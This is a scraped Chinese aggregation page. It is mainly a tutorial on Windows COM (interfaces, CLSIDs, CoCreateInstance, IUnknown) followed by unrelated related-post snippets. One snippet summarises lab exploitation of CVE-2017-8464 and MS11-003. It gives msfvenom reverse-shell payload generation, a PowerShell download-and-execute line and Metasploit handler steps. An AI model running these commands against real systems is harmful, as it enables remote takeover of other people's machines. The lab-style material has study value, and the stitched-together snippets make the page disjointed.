精华内容
下载资源
问答
  • windows系统服务组件
    千次阅读
    2021-10-15 10:30:48

    COM 简介

    Microsoft 组件对象模型 (COM) 是一个独立于平台的分布式面向对象的系统,用于创建可交互的二进制软件组件。 COM 是 Microsoft 的 OLE (复合文档) 、ActiveX (Internet 组件) 等的基础技术。
    若要了解 COM (所有基于 COM 的技术) ,必须了解它不是面向对象的语言,而是一种标准。 用于创建在运行时进行交互的可重用的软件库。 无需将其编译到应用程序中,即可使用 COM 库。 COM 是许多 Microsoft 产品和技术的基础,例如 Windows Media Player 和 Windows 服务器。

    COM 定义适用于许多操作系统和硬件平台的二进制标准。 对于网络计算,COM 定义了标准线路格式和协议,以便在不同硬件平台上运行的对象之间进行交互。 COM 与实现语言无关,这意味着你可以使用不同的编程语言(如 c + + 和 .NET Framework 中的编程语言)来创建 COM 库。

    COM 规范提供启用跨平台软件重用的所有基本概念:

    • 组件间函数调用的二进制标准。
    • 将函数强类型化分组到接口中的设置。
    • 提供多态性、功能发现和对象生存期跟踪的基接口。
    • 唯一标识组件及其接口的机制。
    • 从部署创建组件实例的组件加载程序。

    COM 具有多个共同工作的部分,可让你创建从可重用组件生成的应用程序:

    • 提供符合 COM 规范的运行时环境的 主机系统 。
    • 定义功能协定和实现接口的 组件 的 接口。
    • 向系统提供组件的 服务器,以及使用组件提供的功能的 客户端。
    • 跟踪将组件部署在本地和远程主机上的位置的 注册表 。
    • 一种 服务控制管理器 ,用于查找本地和远程主机上的组件,并将服务器连接到客户端。
    • 一种 结构化存储 协议,用于定义如何在主机的文件系统上导航文件的内容。
      跨主机和平台启用代码重用是 COM 的核心。 可重复使用的接口实现称为 " 组件"、" 组件对象" 或 " COM 对象"。 组件实现一个或多个 COM 接口。

    通过设计库实现的接口来定义自定义 COM 库。 库的使用者可以发现和使用其功能,而无需了解库的部署和实现细节。

    概念

    接口:成员函数的集合,面向对象中接口类。
    IID:每个接口都有其自己的唯一接口标识符 IID, IID 是全局唯一标识符 (GUID) , IID只会对应一个接口

    COM类: COM类可以创建实现了多个 接口(接口类)
    CLSID:每个com 类都有一个CLSID,在windows 上com 类 的实现在 dll 或者 exe 上。

    映射关系:COM 维护系统上安装的 COM 对象的所有 Clsid 的注册数据库。 注册数据库是每个 CLSID 之间的映射,以及承载相应类的 DLL 或 EXE 的位置。 每当调用方想要创建 COM 类的实例时,COM 都将查询此数据库。 调用方只需了解用于请求类的新实例的 CLSID。

    客户端/服务器:COM 对象及其调用方之间的交互建模为客户端/服务器关系。 客户端是向系统请求 COM 对象的调用方,服务器是包含向客户端提供服务的 COM 对象的模块。

    CoCreateInstance

    com 框架提供的接口,用于获取想要的对象指针
    COM 客户端是向系统传递 CLSID 以请求 COM 对象实例的任何调用方。 创建实例的最简单方法就是调用 COM 函数 CoCreateInstance。

    这是一段dshow 创建graph 的代码

    	ComPtr<IGraphBuilder> graph;
    	HRESULT hr;
    
    	hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
    			      IID_IFilterGraph, (void **)&graph);
    

    看一下

    HRESULT _stdcall  CoCreateInstance(REFCLSID rclsid,
    
                            LPUNKNOWN pUnkOuter,
    
                            DWORD dwClsContext,
    
                            REFIID riid,
    
                            LPVOID * ppv);
    

    第一个参数:待创建组件的CLSID。 用于找到对应COM 类,和所在的DLL 或者 exe。

    第二个参数:用于聚合组件。

    第三个参数:dwClsContext的作用是限定所创建的组件的执行上下文。

    第四个参数:iid为组件上待使用的接口的iid。也就是 接口类对应的IID

    CoCreateInstance 将在最后一个参数中返回此接口的指针。通过将一个IID传给CoCreateInstance,客户将无需在创建组件之后去调用 其QueryInterface函数。

    HRESULT CoCreateInstance(const CLSID& clsid,
                    IUnknown* punkonwnDuter,
                    DWORD dwClsContext,
                    const IID& iid,
                    void** ppv)
    {
        // Set the out paameter to NULL
        *ppv = NULL;
    
        // 首先根据clsid获得COM类的工厂类
        IClassFactory* pIFactory = NULL;
        HRESULT hr = CoGetClassObject(clsid,
                            dwClsContext,
                            NULL,
                            IID_IClassFactory,
                            (void**)&pIFactory);
        if (SUCCEEDED(hr))
        {
            // 使用工厂类,传入接口 IID, 来创建接口对象
            hr = pIFactory->CreateInstance(punkonwnDuter, iid, ppv);
            pIFactory->Release()();
        }
        return hr;
    }
    

    IUnKnown 接口

    IUnknown是指COM标准接口。所有COM接口都继承IUnKnown。
    他负责两项工作:

    • IUnknown::QueryInterface负责得到该组件的其他接口的指针
    • IUnknown::AddRef/Release负责管理该组件的生存期,但有人使用该组件时,保证该组件不会被意外删除;再没人使用该组件时,保证该组件被自动删除

    IUnknown 的工作原理

    IUnknown 中的方法使应用程序能够查询组件上的接口并管理组件的引用计数。

    引用计数

    引用计数是一个内部变量,在 AddRef 方法中递增,并在 Release 方法中减少。 基类管理引用计数,并同步对多个线程中的引用计数的访问。

    接口查询

    查询接口也很简单。 调用方传递两个参数:接口标识符 (IID) ,以及指针的地址。 如果组件支持请求的接口,它会将指针设置为接口,并递增其自己的引用计数,并返回 S _ OK。 否则,它会将指针设置为 NULL ,并返回 E _ NOINTERFACE。 以下伪代码显示了 QueryInterface 方法的一般轮廓。 下一节中描述的组件聚合带来了一些额外的复杂性。

    第一点:说简单一点就是,dynamic_cast。查询 CoCreateInstance 创建出来的对象,是否可以转换成底层接口,其实就是c++ 中 dynamic_cast,同时增加一个引用计数而已。如果是纯c++ 的情况,应该就不需要这个接口了。

    第二点:也是工厂模式,根据riid 创建 对象

    STDMETHODIMP CapturePin::QueryInterface(REFIID riid, void **ppv)
    {
    	if (riid == IID_IUnknown) {
    		AddRef();
    		*ppv = this;
    	} else if (riid == IID_IPin) {
    		AddRef();
    		*ppv = (IPin *)this;
    	} else if (riid == IID_IMemInputPin) {
    		AddRef();
    		*ppv = (IMemInputPin *)this;
    	} else {
    		*ppv = nullptr;
    		return E_NOINTERFACE;
    	}
    
    	return NOERROR;
    }
    
    更多相关内容
  • Windows服务器组件安全设置策略.为防止挂马等草走都是很重要的。
  • windows7系统下载windows服务调用office组件.pdf
  • windows7系统下载windows服务调用office组件[收集].pdf
  • 当用户使用dreamweaver软件时会使用到IIS服务器,而Web服务器组件WindowsServer2003系统中IIS6.0的服务器组件之一,默认情况下并没有被安装,用户需要手动安装Web服务器组件。在WindowsServer2003系统中安装Web...

    当用户使用dreamweaver软件时会使用到IIS服务器,而Web服务器组件是WindowsServer2003系统中IIS6.0的服务器组件之一,默认情况下并没有被安装,用户需要手动安装Web服务器组件。

    在WindowsServer2003系统中安装Web服务器组件的步骤如下所述:

    第1步,打开“控制面板”窗口,双击“添加/删除程序”图标,打开“添加或删除程序”窗口。单击“添加/删除Windows组件”按钮,打开“Windows组件安装向导”对话框。

    第2步,在“Windows组件”对话框中双击“应用程序服务器”选项,打开“应用程序服务器”对话框。在“应用程序服务器的子组件”列表中双击“Internet信息服务(IIS)”复选框,如图1所示。

    c978296b923e47f01201e84564443bd5.png

    图1双击“Internet信息服务(IIS)”复选框

    第3步,打开“Internet信息服务(IIS)”对话框,在“Internet信息服务(IIS)的子组件”列表中选中“万维网服务”复选框。依次单击“确定”→“确定”按钮,如图2所示。

    5c05ffa74926105f95a64ad96acbe79b.png

    图2选中“万维网服务”复选框

    第4步,系统开始安装IIS6.0和Web服务器组件。在安装过程中需要提供WindowsServer2003系统安装光盘或指定安装文件路径。安装完成后单击“完成”按钮即可,如图3所示。

    b6c023c9922163541521b64142ad7000.png

    图3要求指定安装文件路径

    总结:

    希望本文介绍的在WindowsServer2003系统中安装Web服务器组件的方法能够对读者有所帮助,而更多有关操作系统的知识还有待于读者去探索和学习。

    【编辑推荐】

    【责任编辑:韩亚珊 TEL:(010)68476606】

    点赞 0

    展开全文
  • 2003Windows 图像处理组件wic_x86_chs.exe
  • 此jmail组件适用于64位windows 2003 server服务器系统上。里面有三个文件,一个是jmail.dll文件,一个是批处理文件,还有一个如果操作不成或,手工操作的文档。
  • Windows系统组件漏洞

    千次阅读 2020-09-19 18:54:34
    目录什么是组件1.CVE-2017-8464原理复现环境部署远程监听2.MS11_003 溢出漏洞原理复现下一步提权3.CVE-2019-07084.CVE-2020-0796(永恒之黑)5....Windows系统使用二进制解析 .LNK文件,当恶意二进

    什么是组件

    组件一般都是系统自带都有的, 如:WINXPWIN2000它本身,就带有非常强大的组件功能。添加组件可以使系统的功能更加强大。
    具体方式:

    控制面板--添加或删除程序--添加/删除组件
    

    1.CVE-2017-8464

    原理

    Windows系统使用二进制解析 .LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 load 进内存时与当前用户具有相同权限
    在这里插入图片描述

    复现

    环境部署

    msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.0.102   lport=5555  -f  psh-reflection>/opt/search.ps1   #生成shell反弹木马
    
    mv  search.ps1  /var/www/html   #木马移动到/var/www/html
    
    service apache2 start #启动服务
    
    powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.102/search.ps1');test.ps1"    #创建快捷件远程加载
    

    远程监听

    use exploit/multi/handler  
    
    set payload windows/x64/meterpreter/reverse_tcp  
    
    show options  
    
    set LHOST 192.168.0.102  
    
    set lport  5555    
    
    exploit 
    

    2.MS11_003 溢出漏洞

    原理

    溢出漏洞是由于程序中的某个或某些输入函数(使用者输入参数)对所接收数据的边界验证不严密而造成。
    根据程序执行中堆栈调用原理,程序对超出边界的部分如果没有经过验证自动去掉,那么超出边界的部分就会覆盖后面的存放程序指针的数据,当执行完上面的代码,程序会自动调用指针所指向地址的命令。

    复现

    search ms11_003
    use exploit/windows/browser/ms11_003_ie_css_import
    set payload windows/meterpreter/reverse_tcp
    set srvhost
    set lhost 192.168.0.102
    set uripath 00
    Run
    sessions
    

    下一步提权

    use  post/multi/recon/local_exploit_suggester
    set LHOST 192.168.0.102
    set SESSION 1
    Exploit
    

    3.CVE-2019-0708

    可参考:
    https://blog.csdn.net/yumengzth/article/details/102768945?utm_medium=distribute.pc_relevant.none-task-blog-title-7&spm=1001.2101.3001.4242

    4.CVE-2020-0796(永恒之黑)

    https://blog.csdn.net/PigLL/article/details/108012981

    5.…………………………

    展开全文
  • 目录 一、问题现象 ...3、关闭“组件服务”并重新打开“组件服务/DCOM 配置” 一、问题现象 计算机\HKEY_CLASSES_ROOT\AppID\{4839DDB7-58C2-48F5-8283-E1D1807D0D7D} ShellServiceHost 计算机...

    目录

    一、问题现象

    二、解决方案

    1、属性/常规,复制应用程序 ID  

     2、修改应用程序权限

    2.1 、打开注册表 

    2.2、在注册表中找到应用程序

    2.3 、打开权限编辑窗口

    2.4、变更程序所有者

    2.5、添加用户并赋予权限

    3、关闭“组件服务”并重新打开“组件服务/DCOM 配置”


    一、问题现象

    计算机\HKEY_CLASSES_ROOT\AppID\{4839DDB7-58C2-48F5-8283-E1D1807D0D7D} 

    ShellServiceHost

    计算机\HKEY_CLASSES_ROOT\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}

    RuntimeBroker

    计算机\HKEY_CLASSES_ROOT\AppID\{316CDED5-E4AE-4B15-9113-7055D84DCC97}

    ImmersiveShell

    属性/安全 - 为灰色无法编辑

    二、解决方案

    1、属性/常规,复制应用程序 ID  

     

     2、修改应用程序权限

    2.1 、打开注册表 

    “Win+R”,输入 “regedit”,点击“确定”

    2.2、在注册表中找到应用程序

    输入路径,计算机\HKEY_CLASSES_ROOT\AppID\{应用程序 ID},如下

    计算机\HKEY_CLASSES_ROOT\AppID\{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}

    2.3 、打开权限编辑窗口

    右键点击查找的项,在弹出的右键菜单选择“权限” 

     

    2.4、变更程序所有者

    2.4.1 权限窗口点击“高级按钮”

    2.4.2 在“高级安全设置”,点击“所有者”后的“更改”按钮。 

    2.4.3 在选择用户或组,点击“高级按钮” 

    2.4.4 在选择用户或组,点击“立即查找” 

    2.4.5 在“选择用户或组”窗口“搜索结果”中“双击”选择当前登录的账户 

     

    2.4.6 选择完用户后,点击“确定”

    2.4.6 勾选“替换子容器和对象的所有者”,点击“应用”,然后点击“确定”

    2.5、添加用户并赋予权限

    2.5.1、在权限窗口,点击“添加”按钮;

    2.5.2 在选择用户或组,点击“高级按钮” 

    2.5.3 在选择用户或组,点击“立即查找” 

    2.5.4 在“选择用户或组”窗口“搜索结果”中“双击”选择当前登录的账户 

     

    2.5.5 选择完用户后,点击“确定”

     

    2.5.6 选择“SYSTEM”,用户,勾选“完全控制”的“允许”权限

     

    2.5.7 选择“当前登录账户”,用户,勾选“完全控制”的“允许”权限

    3、关闭“组件服务”并重新打开“组件服务/DCOM 配置”

    “Win+R”中输入“dcomcnfg”,然后点击“确定”

     

     

     

     

     

     

     

     

     

    展开全文
  • Windows脚本组件示例(Windows Script Component),基于VBScript
  • windows3.2系统组件

    2013-01-31 14:12:10
    特意整理的windows3.2组件,包括计算器,时钟,文件管理器,扫雷,纸牌等,可以在winXP(+)中运行。怀旧的朋友赶快来体验一下!
  • 有的XP系统突然找不到传真服务组件,特提供windows xp系统传真服务组件下载。 使用方便,直接运行fax.exe即可添加。
  • windows 组件卸载

    2019-04-30 01:11:40
    Windows组件卸载.rar,Windows组件卸载,msicuu2.exe
  • 《在Windows_Server_2016中安装终端服务器组件》.doc在Windows Server 2003中安装终端服务器组件Windows Server 2003系统一个最明显的进步就是增加了“远程桌面”功能。这样一来,从Windows 2000保留下来的终端服务...
  • 本文给大家介绍了利用VC++编写Windows95的CPL组件
  • windows传真服务组件全部,解压缩就可以用。
  • Windows Server 2003被用作网络服务器操作系统,置于公网之中对外提供服务时,面临的安全威胁要远大于其他应用场合,系统默认设置在安全性方面的保护强度不够,需要人为加固。接下来是小编为大家收集的win2003安装终端...
  • 因为关系到效率问题,Windows Embedded Standard组件中的文件只能包括在同一个文件夹中。  主要提示:如果将包含子目录的文件夹添加到组件中,组件设计器不会报错,而要等到这个组件加入到Target Designer时,才...
  • WindowsServer2003中安装终端服务器组件.docx
  • WindowsXP添加组件没有internet信息服务的解决方法
  • 可视化小工具安装卸载windows服务,需要以管理员权限打开
  • windows xp传真服务组件fax i386
  • Windows Server 2003中安装终端服务器组件.doc
  • 启动MySQL服务 桌面上【计算机】图标上右键–点【管理】- 跳出【计算机管理】的窗口—选择【服务和应用程序】下面的【服务】–在名称中找到MySQL --选中MySQL后右键–点启动 修改MySQL为自动启动 方法一: 桌面上...
  • Windows6.1-KB963697-x64.msu由于windows service 2008_r2系统不自带流媒体服务器,需要安装第三方程序包。
  • 解决添加删除Windows组件”里没有IIS(Internet信息服务)
  • .net 安装失败时用此工具卸载清理旧版本,安装后,开始菜单搜索 Windows Install Clean Up 关键字
  • 最新的windows 10 mobile 外形和界面布局 lumia 950xl lumia 1520 等

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 446,116
精华内容 178,446
热门标签
关键字:

windows系统服务组件